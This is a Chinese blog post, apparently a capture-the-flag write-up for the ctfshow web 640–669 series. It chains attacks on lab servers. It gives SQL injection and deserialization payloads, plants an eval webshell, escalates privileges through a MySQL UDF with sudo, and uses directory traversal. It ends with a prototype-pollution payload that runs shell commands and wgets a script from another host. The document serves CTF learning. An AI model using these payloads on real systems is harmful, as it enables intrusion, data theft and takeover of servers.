您当前的位置: 首页 > 

暂无认证

  • 14浏览

    0关注

    93840博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[ctfshow]终极考核wp

发布时间:2022-07-07 17:22:54 ,浏览量:14

web 640

页面明文flag

web 641

image-20220307233244933

首页http头

web 642

首页查看源码,发现可疑路径

/system36d/static/css/start.css

访问/system36d,需要登录,抓包

image-20220706011559378

得到flag

web 644

进入登陆页面/system36d/login.php

image-20220706011714167

需要输入密码开门,查看js文件,发现密码为0x36D

输入密码后得到flag

web 645

备份数据,数据中存在flag

web 643

在网络测试功能当中可以执行命令,抓包修改测试命令为ls

发现secret.txt,访问得到一串url编码

解码得到flag

web 646

在系统更新处填入645的flag,进行权限验证后远程更新

此时抓一下远程更新的包

image-20220706124421080

这里存在远程请求文件,很像文件包含,尝试读一下文件

image-20220706125156037

确实可以,我们依次读取一下web 643中得到的文件

checklogin.php

 }else{ header('location:/system36d/'); die(); } 

util/common.php

 die('651flag未拿到'); } if(isset($_POST['file']) && file_exists($_POST['file'])){ if(db::get_key()==$_POST['key']){ include __DIR__.DIRECTORY_SEPARATOR.$_POST['file']; } } 

util/dbutil.php

 private static $host='localhost'; private static $username='root'; private static $password='root'; private static $database='ctfshow'; private static $conn; public static function get_key(){ $ret = ''; $conn = self::get_conn(); $res = $conn->query('select `key` from ctfshow_keys'); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['key']; self::close(); return $ret; } public static function get_username($id){ $ret = ''; $conn = self::get_conn(); $res = $conn->query("select `username` from ctfshow_users where id = ($id)"); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['username']; self::close(); return $ret; } private static function get_conn(){ if(self::$conn==null){ self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database); } return self::$conn; } private static function close(){ if(self::$conn!==null){ self::$conn->close(); } } } 

users.php

 case 'list': $ret = getUsers($data,intval($_GET['page']),intval($_GET['limit'])); break; case 'add': $ret = addUser($data,$_GET['username'],$_GET['password']); break; case 'del': $ret = delUser($data,$_GET['username']); break; case 'update': $ret = updateUser($data,$_GET['username'],$_GET['password']); break; case 'backup': backupUsers(); break; case 'upload': $ret = recoveryUsers(); break; case 'phpInfo': $ret = phpInfoTest(); break; case 'netTest': $ret = netTest($_GET['cmd']); break; case 'remoteUpdate': $ret = remoteUpdate($_GET['auth'],$_GET['update_address']); break; case 'authKeyValidate': $ret = authKeyValidate($_GET['auth']); break; case 'evilString': evilString($_GET['m']); break; case 'evilNumber': evilNumber($_GET['m'],$_GET['key']); break; case 'evilFunction': evilFunction($_GET['m'],$_GET['key']); break; case 'evilArray': evilArray($_GET['m'],$_GET['key']); break; case 'evilClass': evilClass($_GET['m'],$_GET['key']); break; default: $ret = json_encode(array( 'code'=>0, 'message'=>'数据获取失败', )); break; } echo $ret; function getUsers($data,$page=1,$limit=10){ $ret = array( 'code'=>0, 'message'=>'数据获取成功', 'data'=>array() ); $isadmin = '否'; $pass = ''; $content='无'; $users = explode('|', $data); array_pop($users); $index = 1; foreach ($users as $u) { if(explode('@', $u)[0]=='admin'){ $isadmin = '是'; $pass = 'flag就是管理员的密码,不过我隐藏了'; $content = '删除此条记录后flag就会消失'; }else{ $pass = explode('@', $u)[1]; } array_push($ret['data'], array( 'id'=>$index, 'username'=>explode('@', $u)[0], 'password'=>$pass, 'isAdmin'=>$isadmin, 'content'=>$content )); $index +=1; } $ret['count']=$index; $start = ($page-1)*$limit; $ret['data']=array_slice($ret['data'], $start,$limit,true); return json_encode($ret); } function addUser($data,$username,$password){ $ret = array( 'code'=>0, 'message'=>'添加成功' ); if(existsUser($data,$username)==0){ $s = $data.$username.'@'.$password.'|'; file_put_contents(DB_PATH, $s); }else{ $ret['code']=-1; $ret['message']='用户已存在'; } return json_encode($ret); } function updateUser($data,$username,$password){ $ret = array( 'code'=>0, 'message'=>'更新成功' ); if(existsUser($data,$username)>0 && $username!='admin'){ $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data); file_put_contents(DB_PATH, $s); }else{ $ret['code']=-1; $ret['message']='用户不存在或无权更新'; } return json_encode($ret); } function delUser($data,$username){ $ret = array( 'code'=>0, 'message'=>'删除成功' ); if(existsUser($data,$username)>0 && $username!='admin'){ $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data); file_put_contents(DB_PATH, $s); }else{ $ret['code']=-1; $ret['message']='用户不存在或无权删除'; } return json_encode($ret); } function existsUser($data,$username){ return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data); } function backupUsers(){ $file_name = DB_PATH; if (! file_exists ($file_name )) { header('HTTP/1.1 404 NOT FOUND'); } else { $file = fopen ($file_name, "rb" ); Header ( "Content-type: application/octet-stream" ); Header ( "Accept-Ranges: bytes" ); Header ( "Accept-Length: " . filesize ($file_name)); Header ( "Content-Disposition: attachment; filename=backup.dat"); echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name))); fclose ( $file ); exit (); } } function getArray($total, $times, $min, $max) { $data = array(); if ($min * $times > $total) { return array(); } if ($max * $times < $total) { return array(); } while ($times >= 1) { $times--; $kmix = max($min, $total - $times * $max); $kmax = min($max, $total - $times * $min); $kAvg = $total / ($times + 1); $kDis = min($kAvg - $kmix, $kmax - $kAvg); $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2; $k = round($kAvg + $r); $total -= $k; $data[] = $k; } return $data; } function recoveryUsers(){ $ret = array( 'code'=>0, 'message'=>'恢复成功' ); if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){ $file_name= $_FILES['file']['tmp_name']; $result = move_uploaded_file($file_name, DB_PATH); if($result===false){ $ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH; } }else{ $ret['message']='数据恢复失败'; } return json_encode($ret); } function phpInfoTest(){ return phpinfo(); } function authKeyValidate($auth){ $ret = array( 'code'=>0, 'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败', 'status'=>$auth==substr(FLAG645, 8)?'0':'-1' ); return json_encode($ret); } function remoteUpdate($auth,$address){ $ret = array( 'code'=>0, 'message'=>'更新失败' ); if($auth!==substr(FLAG645, 8)){ $ret['message']='权限key验证失败'; return json_encode($ret); }else{ $content = file_get_contents($address); $ret['message']=($content!==false?$content:'地址不可达'); } return json_encode($ret); } function evilString($m){ $key = '372619038'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE){ echo shell_exec('cat /FLAG/FLAG647'); }else{ echo 'you are not 372619038?'; } } function evilClass($m,$k){ class ctfshow{ public $m; public function construct($m){ $this->$m=$m; } } $ctfshow=new ctfshow($m); $ctfshow->$m=$m; if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){ echo shell_exec('cat /FLAG/FLAG648'); }else{ echo 'mmmmm?'; } } function evilNumber($m,$k){ $number = getArray(1000,20,10,999); if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){ echo shell_exec('cat /FLAG/FLAG649'); }else{ echo 'number is right?'; } } function evilFunction($m,$k){ $key = 'ffffffff'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){ echo shell_exec('cat /FLAG/FLAG650'); }else{ echo 'you are not ffffffff?'; } } function evilArray($m,$k){ $arrays=unserialize($m); if($arrays!==false){ if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){ echo shell_exec('cat /FLAG/FLAG651'); }else{ echo 'array?'; } } } function netTest($cmd){ $ret = array( 'code'=>0, 'message'=>'命令执行失败' ); if(preg_match('/^[A-Za-z]+$/', $cmd)){ $res = shell_exec($cmd); stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res; } return json_encode($ret); } 

最终flag在init.php当中

image-20220706130818716

web 647
function evilString($m){ $key = '372619038'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE){ echo shell_exec('cat /FLAG/FLAG647'); }else{ echo 'you are not 372619038?'; } } 

利用数组绕过,null!==false

/users.php?action=evilString&m=getallheaders
web 648
function evilClass($m,$k){ class ctfshow{ public $m; public function construct($m){ $this->$m=$m; } } $ctfshow=new ctfshow($m); $ctfshow->$m=$m; if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){ echo shell_exec('cat /FLAG/FLAG648'); }else{ echo 'mmmmm?'; } } 

可变变量的覆盖

/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
web 649
function evilNumber($m,$k){ $number = getArray(1000,20,10,999); if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){ echo shell_exec('cat /FLAG/FLAG649'); }else{ echo 'number is right?'; } } 

其中getArray函数如下,生成和值一定的随机数序列函数

function getArray($total, $times, $min, $max) { $data = array(); if ($min * $times > $total) { return array(); } if ($max * $times < $total) { return array(); } while ($times >= 1) { $times--; $kmix = max($min, $total - $times * $max); $kmax = min($max, $total - $times * $min); $kAvg = $total / ($times + 1); $kDis = min($kAvg - $kmix, $kmax - $kAvg); $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2; $k = round($kAvg + $r); $total -= $k; $data[] = $k; } return $data; } 

利用NULL绕过

/users.php?action=evilNumber&m=&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
web 650
function evilFunction($m,$k){ $key = 'ffffffff'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){ echo shell_exec('cat /FLAG/FLAG650'); }else{ echo 'you are not ffffffff?'; } } 

同样null绕过

/users.php?action=evilFunction&m=getallheaders&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
web 651
function evilArray($m,$k){ $arrays=unserialize($m); if($arrays!==false){ if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){ echo shell_exec('cat /FLAG/FLAG651'); }else{ echo 'array?'; } } } 

构造一个内部类

class a{ public $username='snakin'; public $snakin="ctfshow"; } $a=new a(); echo serialize($a); 

payload:

/users.php?action=evilArray&m=O:1:"a":2:{s:8:"username";s:6:"snakin";s:6:"snakin";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
web 652

在dbutil中有sql注入

public static function get_username($id){ $ret = ''; $conn = self::get_conn(); $res = $conn->query("select `username` from ctfshow_users where id = ($id)"); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['username']; self::close(); return $ret; } 

调用点在page.php

include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php'; $id = isset($_GET['id'])?$_GET['id']:'1'; //转义' " \ 来实现防注入 $id = addslashes($id); $name = db::get_username($id); 

paylaod

?id=-1) union select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77%23
?id=-1) union select group_concat(column_name) from information_schema.columns where table_name=0x63746673686f775f736563726574%23
?id=-1) union select secret from ctfshow_secret%23
web 653

在common.php存在一个文件包含点

 die('651flag未拿到'); } if(isset($_POST['file']) && file_exists($_POST['file'])){ if(db::get_key()==$_POST['key']){ include __DIR__.DIRECTORY_SEPARATOR.$_POST['file']; } } 

在db备份文件写入一句话()之后通过管理页面的备份恢复功能上传

  • 在init.php得到了db文件位置,/db/data_you_never_know.db

  • 在page.php的注入点得到了db::get_key()的值:key_is_here_you_know

    union select `key` from ctfshow_keys%23

包含一句话木马RCE

/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

POST:
key=key_is_here_you_know&file=../db/data_you_never_know.db

蚁剑连接

image-20220706154214673

之后执行命令cat /secret.txt,flag在根目录

web 654

查看配置文件ls /etc

有可疑文件sudoers.bak,查看

image-20220706164433269

这里mysql为特权用户,考虑udf提权

利用蚁剑上传udf到/var/www/html/system36d/util/udf.so

移动到/usr/lib/mariadb/plugin/udf.so

这里由于知道mysql的账户密码,我们直接蚁剑连接

image-20220706165605789

接下来依次执行

create function sys_eval returns string soname 'udf.so';
select * from mysql.func where name = 'sys_eval';
select sys_eval('sudo ls /root');
select sys_eval('sudo cat /root/you_win');

得到flag

image-20220706170123264

至此第一台服务器已经拿下,总结一下信息:

项目 值 备注 服务器名称 web dns可解析 flag FLAG641-654 共15个flag 主机ip 172.2.255.4 开放端口 80 9000 3306 nginx php-fpm mysql 外网访问 否 最高以获得权限 root 数据库类型 mysql 数据库权限 root 账号:密码 root:root web 655

查看一下网卡信息

image-20220706171358340

扫一下存活主机,发现1-7存活,其中172.2.92.5存在http服务

echo `curl http://172.2.92.5/`
//{"code":0,"message":"数据获取失败"}

对常见的目录进行扫描,发现phpinfo,www.zip

echo `wget http://172.2.92.5/www.zip`
echo `wget http://172.2.92.5/phpinfo.php`

在phpinfo中有flag

web 656

将上一题得到的www.zip下载到本地

其中是index.php

 case 'login': $ret = login($_GET['u'],$_GET['p']); break; case 'index': $ret = index(); break; case 'main': $ret = main($_GET['m']); break; default: $ret = json_encode(array( 'code'=>0, 'message'=>'数据获取失败', )); break; } echo $ret; function index(){ $html='管理员请注意,下面是最近登陆失败用户:
'; $ret=db::query('select username,login_time,login_ip from ctfshow_logs  order by id desc limit 3'); foreach ($ret as $r) { $html .='------------
用户名: '.htmlspecialchars($r[0]).'
登陆失败时间: ' .$r[1] .'
登陆失败IP: ' .$r[2]. '
------------
'; } return $html; } function login($u,$p){ $ret = array( 'code'=>0, 'message'=>'数据获取失败', ); $u = addslashes($u); $p = addslashes($p); $res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'"); $date = new DateTime('now'); $now = $date->format('Y-m-d H:i:s'); $ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR'])); if(count($res)==0){ db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')"); $ret['message']='账号或密码错误'; return json_encode($ret); } if(!auth()){ $ret['message']='AuthKey 错误'; }else{ $ret['message']='登陆成功'; $_SESSION['login']=true; $_SESSION['flag_660']=$_GET['flag']; } return json_encode($ret); } function auth(){ $auth = base64_decode($_COOKIE['auth']); return $auth==AUTH_KEY; } function getFlag(){ return FLAG_657; } function testFile($f){ $result = ''; $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php'; if(file_exists($file)){ $result = FLAG_658; } return $result; } function main($m){ $ret = array( 'code'=>0, 'message'=>'数据获取失败', ); if($_SESSION['login']==true){ switch ($m) { case 'getFlag': $ret['message']=getFlag(); break; case 'testFile': $ret['message']=testFile($_GET['f']); break; default: # code... break; } }else{ $ret['message']='请先登陆'; } return json_encode($ret); } 

审计代码:

function index(){ $html='管理员请注意,下面是最近登陆失败用户:
'; $ret=db::query('select username,login_time,login_ip from ctfshow_logs  order by id desc limit 3'); foreach ($ret as $r) { $html .='------------
用户名: '.htmlspecialchars($r[0]).'
登陆失败时间: ' .$r[1] .'
登陆失败IP: ' .$r[2]. '
------------
'; } return $html; } 

这里存在一个XSS的点,我们可以通过跳板机http服务监听数据

 $result = ''; $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php'; if(file_exists($file)){ $result = FLAG_658; } return $result; } 

file_exists()函数可以访问ftp上的文件,那么我们可以起一个ftp服务器,无论请求任何文件都返回文件存在

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 21)) s.listen(1) print('listening 0.0.0.0 21\n') conn, addr = s.accept() conn.send(b'220 a\n') conn.send(b'230 a\n') conn.send(b'200 a\n') conn.send(b'200 a\n') conn.send(b'200\n') conn.send(b'200 a\n') conn.send(b'200\n') conn.send(b'200 a\n') conn.close() 

执行21端口监听

select sys_eval('sudo nohup python3 /var/www/html/ftp.py > /tmp/error.log 2>&1 &');

绕过文件检查

select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5/index.php?action=main&m=testFile&f=ftp://172.2.82.4/aa"');

image-20220707140315256

web 659

扫描目录发现robots.txt

echo `wget http://172.2.82.5/robots.txt`

发现可以访问public目录,尝试目录穿越

select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5/public../"');

存在FLAG目录,访问

echo `curl http://172.2.82.5/public../FLAG/flag659.txt`;

得到flag

web 660
if(!auth()){ $ret['message']='AuthKey 错误'; }else{ $ret['message']='登陆成功'; $_SESSION['login']=true; $_SESSION['flag_660']=$_GET['flag']; } 

由此可知flag位置为session存储位置:/tmp/sess_5g9mf7lpdv4m5tnhg54sbejgp8

之后可RCE拿

当然也可以直接查看nginx日志文件

select sys_eval('sudo curl  http://172.2.82.5/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log');
web 661

目录穿越可得

echo `curl http://172.2.82.5/public../home/flag/secret.txt`
web 662

访问当前用户www-data的家目录,发现creater.sh

select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5/public../home/www-data/creater.sh"'); 

得到

#!/bin/sh file=`echo $RANDOM|md5sum|cut -c 1-3`.html echo &apos;flag_663=ctfshow{xxxx}&apos; &gt; /var/www/html/$fil 

这里需要爆破三位数文件名

传一个sql命令执行文件:

"sql": payload,} r = requests.post(url=url, data=data) m=r.text print(r.text) if('404' not in m): break if ('404' not in m): break if ('404' not in m): break if ('404' not in m): break 

image-20220707151817548

web 663

访问第二台主机的phpinfo

image-20220707152757906

发现存在ctfshow拓展

image-20220707152904903

同时得到拓展目录

/usr/local/lib/php/extensions/no-debug-non-zts-20180731

下载下来

select sys_eval('sudo wget http://172.2.82.5/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731/ctfshow.so -O /var/www/html/ctfshow.so && sudo  chmod 777 /var/www/html/ctfshow.so');

strings一下

image-20220707154248316

web 664

查看nginx配置文件

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/ctfshow_web_error_log_file_you_never_know.log warn;


events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    log_format  main  '[$time_local]:$remote_addr-$request-$status';
    access_log /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log main;
    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location /public {
            autoindex on;
            alias /public/;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }

    server {
        listen       8888;
        server_name  oa;
        root         /var/oa/web;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location /{
            index index.php;
            autoindex off;

        }

       location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }
    }
}

发现8888端口打开

访问发现表单中存在反序列化操作

image-20220707155549618

反序列化拿shell

select sys_eval('sudo curl  -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "UnserializeForm[ctfshowUnserializeData]=O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A16%3A%22yii%5Cgii%5CCodeFile%22%3A3%3A%7Bs%3A9%3A%22operation%22%3BN%3Bs%3A4%3A%22path%22%3Bs%3A28%3A%22%2Fvar%2Foa%2Fweb%2Fassets%2Fshell.php%22%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7Di%3A1%3Bs%3A4%3A%22save%22%3B%7Ds%3A2%3A%22id%22%3Bs%3A0%3A%22%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7Ds%3A40%3A%22%00Codeception%5CExtension%5CRunProcess%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A16%3A%22yii%5Cgii%5CCodeFile%22%3A3%3A%7Bs%3A9%3A%22operation%22%3BN%3Bs%3A4%3A%22path%22%3Bs%3A28%3A%22%2Fvar%2Foa%2Fweb%2Fassets%2Fshell.php%22%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7Di%3A1%3Bs%3A4%3A%22save%22%3B%7Ds%3A2%3A%22id%22%3Bs%3A0%3A%22%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D" "http://172.2.82.5:8888/index.php?r=site%2Funserialize&key=flag_663%3Dctfshow%7Bfa5cc1fb0bfc986d1ef150269c0de197%7D"');

查看phpinfo发现ban掉了一些函数

扫描目录发现flag位置,读取

select sys_eval('sudo curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "1=print_r(file_get_contents(chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(102).chr(108).chr(97).chr(103).chr(54).chr(54).chr(52).chr(46).chr(112).chr(104).chr(112)));" "http://172.2.82.5:8888/assets/shell.php"');

image-20220707161203020

web 665

目录中有

echo `curl http://172.2.82.5/public../FLAG665`

上面是非预期,接下来是预期解

利用file_put_contents实现ssrf绕过函数禁用和目录限制

web 666

连接数据库获取flag

sql.txt

1=$conn = new mysqli('localhost','root','root','ctfshow'); $res = $conn->query("select * from ctfshow_secret"); if($res){
	$row=$res->fetch_array(MYSQLI_BOTH); }
echo $row[0]; $conn->close(); 
select sys_eval('sudo curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d @/tmp/sql.txt "http://172.2.82.5:8888/assets/shell.php"'); 

image-20220707163835510

web 667

扫描端口

echo `curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "1=file_put_contents('scan.php',base64_decode('PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9'));" "http://172.2.82.5:8888/assets/shell.php"`; //base64: <?php highlight_file(__FILE__); for($i=0;$i<65535;$i++) { $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2); if($ee2 === "Address already in use") { var_dump($i); } } 

发现3000端口开放,读主页

select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5:3000"'); 
web 668

题目有源码

/login

utils.copy(user.userinfo,req.body); function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } } ```

原型链污染

{"__proto__":{"__proto__":{"type":"MixinBlock","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').execSync('cp ~/secret.txt ~/public/1.txt && mv ~/nodestartup.sh ~/1 && wget http://web/nodestartup.sh')"}}} 
web 669

等一分钟

拿到/root/you_win

很早之前就想做了,但一直没有时间,陆陆续续做了几天,基本完成。其中668,669题目刚好环境没续上。但是搭建前置环境又太过麻烦就稍微偷了一点懒。后面有时间看看会不会补上。感谢大菜鸡师傅贡献出的如此优秀的题目,我始终相信着,此刻的坚持,是未来发出的光!

参考:

https://shimo.im/docs/3XYdJp3RwQw6kHCx/read

http://www.yongsheng.site/2022/03/30/ctfshow%20%E7%BB%88%E6%9E%81%E8%80%83%E6%A0%B8/

关注
打赏
1655258400
查看更多评论
立即登录/注册

微信扫码登录

0.4538s